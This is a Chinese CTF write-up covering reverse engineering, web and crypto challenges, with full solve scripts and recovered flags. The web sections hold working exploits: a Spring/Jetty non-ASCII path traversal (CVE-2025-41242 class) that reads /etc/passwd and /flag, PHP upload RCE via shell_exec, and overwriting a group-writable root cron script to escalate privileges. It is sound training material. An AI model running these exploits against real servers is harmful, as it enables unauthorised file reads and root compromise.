题目是 HarmonyOS HAP 包。ArkTS 侧从 cloud.profile 读取 cloud.wind 并派生 seed,然后调用 native 层 CloudSeal_NativeCheck。native 层检查 flag{UUID} 格式,并对 UUID 字节做 S-box 和 128 位仿射变换。直接逆仿射变换即可恢复 UUID。
关键步骤
- HAP 可按 zip 解包,关键文件:
ets/modules.abc.pa
resources/base/profile/cloud.profile
libs/arm64-v8a/libcloudseal.so- ArkTS 侧逻辑:
checkCloudSeal(input):
read resources/base/profile/cloud.profile
read key cloud.wind
seed = deriveWindSeed(profileHex)
native.CloudSeal_NativeCheck(input, seed)- 真实
cloud.wind:
3f0a9cc14d62e837b5f19a047bd2c6e0- 派生 seed 使用固定置换、异或、加法和
ror8。 - native 校验先把 32 个 UUID hex 字符解析为 16 字节,再做:
stage1[i] = sbox[uuid[pidx[i]] ^ const[i] ^ seed[i]]- 第二阶段是 128 位仿射变换。用 Unicorn 执行 native 机器码,将该阶段当黑盒:
- 全 0 输入得到偏移;
- 128 个基向量构造矩阵;
- GF(2) 高斯消元求出目标 stage1。
- 反 S-box、反置换并异或 seed/const,得到 UUID。
复现
cd "D:\Users\Lenovo\Desktop\黄鹤杯\RE3"
python -m pip install unicorn pyelftools
python .\solve.pyFlag
flag{f35b8ad6-2c51-4a85-93c0-0e6279347b1a}完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\RE3\solve.py
import io
import json
import zipfile
from pathlib import Path
from elftools.elf.elffile import ELFFile
from unicorn import Uc, UC_ARCH_ARM64, UC_HOOK_CODE, UC_MODE_ARM, UC_PROT_EXEC, UC_PROT_READ, UC_PROT_WRITE
from unicorn.arm64_const import *
def ror8(x, r):
r &= 7
x &= 0xff
if r == 0:
return x
return ((x >> r) | ((x << (8 - r)) & 0xff)) & 0xff
def derive_seed(profile):
order = [9, 0, 14, 5, 2, 11, 7, 12, 1, 15, 4, 10, 3, 8, 13, 6]
xorv = [
0x42, 0x17, 0xC3, 0x5A, 0x99, 0x21, 0xE4, 0x0D,
0xB6, 0x78, 0x34, 0xAA, 0x6F, 0xC0, 0x11, 0x5D,
]
seed = []
for i in range(16):
v = profile[order[i]] ^ xorv[i]
v = (v + 0x31 + i * 13) & 0xff
seed.append(ror8(v, (i + 3) & 7))
return bytes(seed)
def find_hap():
here = Path(__file__).resolve().parent
hits = sorted(here.rglob("CloudSeal.hap"))
if hits:
return hits[0]
hits = sorted(here.rglob("*.hap"))
if hits:
return hits[0]
raise FileNotFoundError("CloudSeal.hap not found")
def load_hap():
with zipfile.ZipFile(find_hap()) as zf:
profile = json.loads(zf.read("resources/base/profile/cloud.profile").decode())
so = zf.read("libs/arm64-v8a/libcloudseal.so")
return profile, so
class NativeStage2:
def __init__(self, so):
self.so = so
self.segments = []
with ELFFile(io.BytesIO(so)) as elf:
for seg in elf.iter_segments():
if seg["p_type"] == "PT_LOAD":
self.segments.append(
(
seg["p_vaddr"],
seg["p_memsz"],
seg["p_filesz"],
seg["p_offset"],
)
)
def make_uc(self):
uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
page = 0x1000
for vaddr, memsz, filesz, off in self.segments:
start = vaddr & ~(page - 1)
end = (vaddr + memsz + page - 1) & ~(page - 1)
uc.mem_map(start, end - start, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
uc.mem_write(vaddr, self.so[off:off + filesz])
return uc
def run_stage2(self, stage1):
uc = self.make_uc()
stack = 0x70000000
uc.mem_map(stack, 0x20000, UC_PROT_READ | UC_PROT_WRITE)
sp = stack + 0x10000 - 0x70
uc.mem_write(sp + 0x10, stage1)
uc.reg_write(UC_ARM64_REG_SP, sp)
uc.reg_write(UC_ARM64_REG_X8, 0x450)
def stop_at_result(uc, address, size, _):
if address == 0x10B6C:
uc.emu_stop()
uc.hook_add(UC_HOOK_CODE, stop_at_result)
uc.emu_start(0x108B0, 0x10B6C, timeout=1000000, count=100000)
return bytes(uc.mem_read(sp, 16))
def solve_affine_stage2(native, target):
zero = native.run_stage2(bytes(16))
columns = []
for bit in range(128):
vec = bytearray(16)
vec[bit // 8] = 1 << (bit % 8)
out = native.run_stage2(bytes(vec))
columns.append(bytes(a ^ b for a, b in zip(out, zero)))
rhs = int.from_bytes(bytes(a ^ b for a, b in zip(target, zero)), "little")
rows = []
for out_bit in range(128):
coeff = 0
byte_i = out_bit // 8
mask = 1 << (out_bit % 8)
for var_i, column in enumerate(columns):
if column[byte_i] & mask:
coeff |= 1 << var_i
rows.append(coeff | (((rhs >> out_bit) & 1) << 128))
rank = 0
pivots = []
for col in range(128):
pivot = None
for row in range(rank, 128):
if (rows[row] >> col) & 1:
pivot = row
break
if pivot is None:
continue
rows[rank], rows[pivot] = rows[pivot], rows[rank]
for row in range(128):
if row != rank and ((rows[row] >> col) & 1):
rows[row] ^= rows[rank]
pivots.append(col)
rank += 1
if rank != 128:
raise RuntimeError(f"stage2 matrix rank is {rank}, expected 128")
value = 0
for row, col in enumerate(pivots):
if (rows[row] >> 128) & 1:
value |= 1 << col
return value.to_bytes(16, "little")
def main():
profile, so = load_hap()
# modules.abc.pa says checkCloudSeal reads cloud.wind before calling native.
seed = derive_seed(bytes.fromhex(profile["cloud.wind"]))
target = so[0x2E0:0x2F0]
native = NativeStage2(so)
stage1 = solve_affine_stage2(native, target)
sbox = so[0x350:0x450]
inv_sbox = [0] * 256
for i, value in enumerate(sbox):
inv_sbox[value] = i
tab590 = so[0x590:0x5A0]
tab5a0 = so[0x5A0:0x5B0]
uuid_bytes = [0] * 16
for i, value in enumerate(stage1):
idx = (ror8(tab590[i], (i + 0x43) & 7) ^ ((i * 0x49 - 0x65) & 0xff)) & 0xff
const = (ror8(tab5a0[i], (i + 0x53) & 7) ^ ((i * 0x49 + 0x172B) & 0xff)) & 0xff
uuid_bytes[idx] = inv_sbox[value] ^ const ^ seed[i]
h = bytes(uuid_bytes).hex()
print(f"flag{{{h[:8]}-{h[8:12]}-{h[12:16]}-{h[16:20]}-{h[20:]}}}")
if __name__ == "__main__":
main()8. WEB1 / Spring 静态资源路径穿越
核心思路
首页提示 Spring、静态资源和 URI 解析差异。目标存在 Jetty/Spring 对非 ASCII URI 路径解释不一致的问题,可利用 CVE-2025-41242 类路径穿越读取任意文件。常规 %2e%2e 被拦截,但请求行中保留原始中文 UTF-8 路径段,并对目标文件最后一个字符做百分号编码,可以绕过解析差异读取 /flag。
关键步骤
/error返回 Spring JSON,//badURI触发 Jetty ambiguous URI 校验,确认 Jetty/Spring 场景。- 构造多个原始中文路径段:
阮严灵丰丰甲来- 验证读取
/etc/passwd,把最后一个字符d编码为%64:
GET /阮严灵丰丰甲来/.../etc/passw%64 HTTP/1.1- 读取
/flag,把g编码为%67:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/fla%67 HTTP/1.1复现
cd "D:\Users\Lenovo\Desktop\黄鹤杯\WEB1"
python .\solve.pyFlag
flag{97a08384-8adf-45e8-819f-485b8feda3a0}完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\WEB1\solve.py
#!/usr/bin/env python3
import socket
import sys
HOST = sys.argv[1] if len(sys.argv) > 1 else "119.36.240.223"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 42073
TARGET_FILE = sys.argv[3] if len(sys.argv) > 3 else "/flag"
SEGMENT = "阮严灵丰丰甲来"
REPEAT = 7
TIMEOUT = 8
def encode_last_char(path: str) -> str:
"""Encode the final path byte; this keeps Spring/Jetty in the vulnerable path."""
if not path or path.endswith("/"):
return path
last = path[-1]
if ord(last) > 0x7f:
raise ValueError("TARGET_FILE should end with an ASCII character")
return path[:-1] + f"%{ord(last):02x}"
def fetch_file(target_file: str) -> tuple[str, bytes, str]:
prefix = "/" + "/".join([SEGMENT] * REPEAT)
raw_path = prefix + encode_last_char(target_file)
req = (
f"GET {raw_path} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"Connection: close\r\n"
"\r\n"
).encode("utf-8")
chunks = []
with socket.create_connection((HOST, PORT), timeout=TIMEOUT) as sock:
sock.settimeout(TIMEOUT)
sock.sendall(req)
while True:
try:
chunk = sock.recv(8192)
except socket.timeout:
break
if not chunk:
break
chunks.append(chunk)
response = b"".join(chunks)
header, _, body = response.partition(b"\r\n\r\n")
status = header.split(b"\r\n", 1)[0].decode("latin1", "replace") if header else "NO HTTP RESPONSE"
return status, body, raw_path
if __name__ == "__main__":
status, body, raw_path = fetch_file(TARGET_FILE)
print(f"[+] path: {raw_path}")
print(f"[+] status: {status}")
print(body.decode("utf-8", "replace"), end="")9. WEB2 / ezz_upload
核心思路
题目是 PHP 主题包上传与预览系统。合法主题包允许包含 preview.tpl,服务端预览时直接 include 该模板,导致 PHP 代码执行。拿到 ctf 用户 RCE 后发现 /flag 仅 root 可读,再利用 root 周期执行且 ctf 组可写的维护脚本提权读取 flag。
关键步骤
- 下载 demo 主题包,确认合法结构:
manifest.json
preview.tpl
assets/cover.pngmanifest.json至少包含:
{
"title": "Exploit Theme",
"author": "ops",
"version": "1.0.0",
"tagline": "pwn"
}- 服务端白名单允许
.tpl,而预览逻辑为:
include $themePath . '/preview.tpl';所以 preview.tpl 中写 PHP 即可 RCE。
- 首阶段 payload 写入 root 维护脚本:
<?php
$script = "#!/bin/sh\ncat /flag > /tmp/ezz_flag 2>/tmp/ezz_err\nchmod 644 /tmp/ezz_flag\nchmod 644 /flag\nid > /tmp/ezz_root_id 2>&1\ndate > /tmp/ezz_ran\n";
file_put_contents('/var/lib/.ezz_upload/.maintenance/root-task.sh', $script);
echo 'STAGE1_OK';
?>- 等待 root 定时任务执行后,再上传第二阶段读取:
<?php
echo shell_exec('ls -l /flag /tmp/ezz_flag /tmp/ezz_root_id /tmp/ezz_ran 2>&1; echo ---flag---; cat /flag 2>&1; echo ---tmpflag---; cat /tmp/ezz_flag 2>&1; echo ---rootid---; cat /tmp/ezz_root_id 2>&1');
?>- 关键权限证据:
-rw-rw-r-- 1 root ctf ... /var/lib/.ezz_upload/.maintenance/root-task.sh
uid=0(root) gid=0(root) groups=0(root)复现
题目有验证码,脚本使用 requests + ddddocr + PIL 自动识别并上传。如果 OCR 失败,多跑几次即可。
cd "D:\Users\Lenovo\Desktop\黄鹤杯\WEB2"
python -m pip install requests ddddocr pillow完整 EXP
D:\Users\Lenovo\Desktop\黄鹤杯\WEB2\exp.py
import io
import json
import pathlib
import re
import time
import urllib.parse
import zipfile
import ddddocr
import requests
from PIL import Image
BASE = "http://119.36.240.224:48619/"
def make_theme_zip(preview_code: str) -> bytes:
buf = io.BytesIO()
img = Image.new("RGBA", (16, 16), (20, 120, 200, 255))
png = io.BytesIO()
img.save(png, format="PNG")
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(
"manifest.json",
json.dumps(
{
"title": "Exploit Theme",
"author": "ops",
"version": "1.0.0",
"tagline": "pwn",
},
separators=(",", ":"),
),
)
zf.writestr("preview.tpl", preview_code)
zf.writestr("assets/cover.png", png.getvalue())
return buf.getvalue()
def upload_and_preview(zip_bytes: bytes, marker: str, max_attempts: int = 80) -> str:
ocr = ddddocr.DdddOcr(show_ad=False)
for attempt in range(1, max_attempts + 1):
session = requests.Session()
r = session.get(BASE, timeout=10)
captcha_id = re.search(r'name="captcha_id" value="([^"]+)"', r.text).group(1)
img = session.get(f"{BASE}?action=captcha&id={captcha_id}", timeout=10).content
raw = ocr.classification(img)
cap = re.sub(r"[^0-9A-Za-z]", "", raw).upper()
print(f"[{attempt}] captcha {raw!r} -> {cap!r}")
if not cap:
continue
files = {"theme": ("theme.zip", io.BytesIO(zip_bytes), "application/zip")}
data = {"captcha": cap, "captcha_id": captcha_id}
up = session.post(
f"{BASE}?action=upload",
data=data,
files=files,
allow_redirects=False,
timeout=10,
)
loc = urllib.parse.unquote(up.headers.get("Location", ""))
print("upload:", loc)
if "ok=1" not in loc:
continue
theme = re.search(r"theme=([^&]+)", loc).group(1)
pv = session.get(f"{BASE}?action=preview&theme={theme}", timeout=10)
print("preview:", pv.text[:120].replace("\n", "\\n"))
if marker in pv.text:
return pv.text
raise RuntimeError("upload failed too many times")
stage1 = make_theme_zip(
r"""<?php
$script = "#!/bin/sh\ncat /flag > /tmp/ezz_flag 2>/tmp/ezz_err\nchmod 644 /tmp/ezz_flag 2>/tmp/ezz_err2\nchmod 644 /flag 2>/tmp/ezz_err3\nid > /tmp/ezz_root_id 2>&1\ndate > /tmp/ezz_ran\n";
file_put_contents('/var/lib/.ezz_upload/.maintenance/root-task.sh', $script);
echo 'STAGE1_OK';
?>"""
)
stage2 = make_theme_zip(
r"""<?php
echo "CHECK_BEGIN\n";
echo shell_exec('ls -l /flag /tmp/ezz_flag /tmp/ezz_root_id /tmp/ezz_ran 2>&1; echo ---flag---; cat /flag 2>&1; echo ---tmpflag---; cat /tmp/ezz_flag 2>&1; echo ---rootid---; cat /tmp/ezz_root_id 2>&1');
echo "\nCHECK_END";
?>"""
)
print(upload_and_preview(stage1, "STAGE1_OK"))
time.sleep(13)
print(upload_and_preview(stage2, "CHECK_BEGIN"))Flag
flag{4423d8f6-44cc-4dfe-8c38-e09f20d7de55}Crypto
10.Broken Transcript
题目描述
附件给出 chall.py 与 output.txt。程序生成两枚 1024 bit RSA 素数 p、q,以 e = 65537 加密 flag;输出除了 n、e、c 外,还包含 15 条带 state 标记的仿射同余记录。目标是利用这些记录分解 n 并解密密文。
分析过程
题目代码中的 rand_coprime() 循环取值,直到 a 与行模数 m 互素,因此 a 在模 m 下存在逆元。build_rows() 的前 12 条记录使用
$$
y_i \equiv a_i(p \mathbin{>>} 320)+b_i \pmod {m_i},\qquad state=1。
$$
后 3 条记录则把变量替换为 q >> 320 并标记 state = 0,最后的 shuffle 仅打乱顺序。故直接保留 state = 1 的记录,并计算
$$
h_i \equiv a_i^{-1}(y_i-b_i) \pmod {m_i}。
$$
每个 m_i 约为 61 bit。实际样本中 12 个保留模数的乘积为 731 bit,而 p >> 320 只有约 704 bit;CRT 的结果因此唯一确定 p 的完整高位 H,而不是一个尚有多个可能值的同余类。
令 $B=2^{320}$,把未知素数写成
$$
p=HB+x,\qquad 0\le x<2^{320}。
$$
于是 $f(x)=x+HB$ 在未知因子 $p\mid n$ 模下有一个 320 bit 根。RSA 两个素数同为 1024 bit,故 $p\approx n^{1/2}$;在 Sage 中以 beta=0.5 调用 Coppersmith 小根算法即可恢复 x。随后 gcd(n, HB+x) 得到 p,计算 $q=n/p$、$\phi(n)=(p-1)(q-1)$ 和私钥指数后解密 c。
关键脚本
将下列脚本保存为 solve.sage,并将题目 output.txt 放入同一目录。SageMath 容器环境中可将二者放到 D:\ctf_tools\sagemath\work,执行 D:\ctf_tools\sagemath\run-sage-file-10.7.cmd solve.sage output.txt。
#!/usr/bin/env sage
import json
import sys
def main(path):
with open(path, "r") as handle:
data = json.load(handle)
n = Integer(data["n"])
e = Integer(data["e"])
c = Integer(data["c"])
low_bits = Integer(data["limb_bits"])
base = Integer(1) << low_bits
residues = []
moduli = []
for row in data["rows"]:
if row["state"] != 1:
continue
modulus = Integer(row["m"])
residue = ((Integer(row["y"]) - Integer(row["b"]))
* inverse_mod(Integer(row["a"]), modulus) % modulus)
residues.append(residue)
moduli.append(modulus)
high = CRT_list(residues, moduli)
print(f"recovered high limb: {high}")
print(f"CRT modulus bits: {prod(moduli).nbits()}")
ring = PolynomialRing(Zmod(n), "x")
x = ring.gen()
roots = (x + high * base).small_roots(X=base, beta=0.5)
if not roots:
raise RuntimeError("no small root found")
for root in roots:
p = gcd(n, high * base + Integer(root))
if 1 < p < n:
q = n // p
phi = (p - 1) * (q - 1)
message = Integer(pow(c, inverse_mod(e, phi), n))
plaintext = int(message).to_bytes((message.nbits() + 7) // 8, "big")
print(f"p = {p}")
print(f"q = {q}")
print(f"plaintext = {plaintext!r}")
return
raise RuntimeError("returned roots do not factor n")
if __name__ == "__main__":
if len(sys.argv) != 2:
raise SystemExit(f"Usage: {sys.argv[0]} output.txt")
main(sys.argv[1])实际运行输出为:
recovered high limb: 68909717418054515264328269611199433520478548201078532282844782655634365867806631673773854315526368431670697799097631376322171495984204485736544919356779079770477799039859856208765066551023509620239657228663687544
CRT modulus bits: 731
plaintext = b'flag{0d1bff25-71f5-480f-bfd3-e5839d12274b}'因此得到 flag:flag{0d1bff25-71f5-480f-bfd3-e5839d12274b}。
11.格中余响
题目描述
压缩包包含 verifier.py、public.json、signatures.jsonl 和 leakage.bin。公开参数为 n = 64、q = 8380417、k = l = 2、tau = 12、low_bits = 8、samples = 96、leaks_per_signature = 40、noise_flips = 17。目标是恢复秘密向量 s,使 open_sealed() 能认证并解封 sealed 字段。
分析过程
Ring.mul() 实现环 $\mathbb{Z}_q[X]/(X^{64}+1)$ 的负循环卷积:若下标之和达到 64,则该乘积项带负号回绕。expand_matrix() 使用 rho 和 SHAKE-256 展开 $2\times2$ 多项式矩阵 $A$;sparse_challenge() 对消息哈希构造恰有 12 个非零项、系数为 $\pm1$ 的挑战多项式 $c$。
verify_signature() 对每份签名计算
$$
w=Az-ct
$$
并比较 w 的紧凑 JSON 编码哈希。serialize_s() 把两个 64 系数秘密多项式按有符号字节拼接,derive_seed() 对其哈希,open_sealed() 再以该种子派生 HMAC 密钥和 SHAKE-256 异或流。故能通过 sealed 中 16 字节 HMAC 标签的 s 就是可验证的正确状态。
parse_leakage() 以 <HBBH 解析泄露文件,字段依次为:
(签名编号:uint16, 多项式编号:uint8, 系数编号:uint8, 泄露值:uint16)leakage.bin 共 23040 字节,即 23040 / 6 = 3840 条记录,正好对应 96 * 40。将每条记录与对应签名的 z[poly][coefficient] 对齐后,(z - leak) mod 256 集中在很小的有符号范围内,而非均匀随机字节。结合公开的 17 条噪声,这说明泄露的是采样 nonce y 的低 8 bit。
签名关系为 $z=y+cs$,因而每条泄露给出
$$
(cs)_j \equiv z_j-\operatorname{leak}(y_j) \pmod {256}。
$$
秘密共有 2 * 64 = 128 个系数,且 eta = 2,每个正确系数只能属于 $-2,-1,0,1,2$。对给定的挑战多项式和指定系数位置,可以按照 Ring.mul() 的负循环规则写出一个仅含 12 个左右非零项的线性方程。每条方程只涉及两个秘密多项式中的一个,因此分别为两个 64 维块抽取 64 条方程,在 $\mathbb{Z}/256\mathbb{Z}$ 上求解。
随机抽取的系统可能包含噪声。候选解必须先满足所有系数落入 [-2, 2],再与全部 3840 条记录比对;正确候选应当恰好错开 17 条。最后以 open_sealed() 的 HMAC 校验验证候选,不依赖仅凭方程数目作出的推测。
关键脚本
将下列脚本保存为 solve_gezhong.sage,把解压后的四个题目文件放入同一目录后执行 D:\ctf_tools\sagemath\run-sage-file-10.7.cmd solve_gezhong.sage challenge-directory。在 SageMath 容器环境中,该目录应位于 D:\ctf_tools\sagemath\work 下。
#!/usr/bin/env sage
import base64
import hashlib
import hmac
import json
import operator
import random
import struct
import sys
from pathlib import Path
MOD = 256
def sparse_challenge(message, n, q, tau):
stream = hashlib.shake_256(message + b"|challenge").digest(512)
used, c, offset = set(), [0] * n, 0
while len(used) < tau:
position = stream[offset] % n
offset += 1
if position in used:
continue
used.add(position)
c[position] = 1 if (stream[offset] & 1) == 0 else -1
offset += 1
return c
def convolution_row(challenge, coefficient, poly, n, ell):
row = [0] * (n * ell)
for challenge_index, sign in enumerate(challenge):
if sign == 0:
continue
secret_index = (coefficient - challenge_index) % n
if challenge_index > coefficient:
sign = -sign
row[poly * n + secret_index] += sign
return row
def decrypt(public, secret):
serialized = b"".join(
int(value).to_bytes(1, "little", signed=True)
for polynomial in secret for value in polynomial
)
seed = hashlib.sha256(serialized + b"|ge-zhong-yu-xiang|v1").digest()
blob = base64.b64decode(public["sealed"])
salt, tag, ciphertext = blob[4:20], blob[20:36], blob[36:]
mac_key = hashlib.sha256(seed + salt + b"|mac").digest()
expected = hmac.new(mac_key, salt + ciphertext, hashlib.sha256).digest()[:16]
if not hmac.compare_digest(tag, expected):
return None
stream = hashlib.shake_256(seed + salt + b"|stream").digest(len(ciphertext))
return bytes(operator.xor(left, right) for left, right in zip(ciphertext, stream))
def main(directory):
directory = Path(directory)
public = json.loads((directory / "public.json").read_text())
signatures = [json.loads(line) for line in
(directory / "signatures.jsonl").read_text().splitlines() if line]
raw = (directory / "leakage.bin").read_bytes()
leaks = [struct.unpack("<HBBH", raw[offset:offset + 6])
for offset in range(0, len(raw), 6)]
n, ell, q, tau = (public[key] for key in ("n", "l", "q", "tau"))
rows, values = [], []
for signature_index, polynomial, coefficient, leak in leaks:
signature = signatures[signature_index]
message = base64.b64decode(signature["msg"])
challenge = sparse_challenge(hashlib.sha256(message).digest(), n, q, tau)
rows.append(convolution_row(challenge, coefficient, polynomial, n, ell))
values.append((signature["z"][polynomial][coefficient] - leak) % MOD)
rng = random.Random(int("1197101400"))
ring = Zmod(MOD)
indices = [[i for i, leak in enumerate(leaks) if leak[1] == poly]
for poly in range(ell)]
for attempt in range(1, 1001):
selected = [i for poly in range(ell) for i in rng.sample(indices[poly], n)]
matrix = Matrix(ring, [rows[i] for i in selected])
try:
candidate = matrix.solve_right(vector(ring, [values[i] for i in selected]))
except ValueError:
continue
centered = [int(value) if int(value) <= 2 else int(value) - MOD
for value in candidate]
if any(value < -2 or value > 2 for value in centered):
continue
agreements = sum(
sum(row_value * secret_value for row_value, secret_value in zip(row, candidate))
% MOD == value
for row, value in zip(rows, values)
)
print(f"attempt={attempt}, agreements={agreements}/{len(rows)}")
secret = [centered[i * n:(i + 1) * n] for i in range(ell)]
plaintext = decrypt(public, secret)
if plaintext is not None:
print(f"secret = {secret}")
print(f"plaintext = {plaintext!r}")
return
raise RuntimeError("failed to recover a valid secret")
if __name__ == "__main__":
if len(sys.argv) != 2:
raise SystemExit(f"Usage: {sys.argv[0]} challenge-directory")
main(sys.argv[1])实际运行得到:
attempt=51, agreements=3823/3840
plaintext = b'flag{4b05fe1b-6cbb-4513-87a9-e3b643f75a2c}'3823 = 3840 - 17,与公开参数 noise_flips = 17 完全一致;且脚本仅在 HMAC 校验成功后打印明文。因此 flag 为 flag{4b05fe1b-6cbb-4513-87a9-e3b643f75a2c}。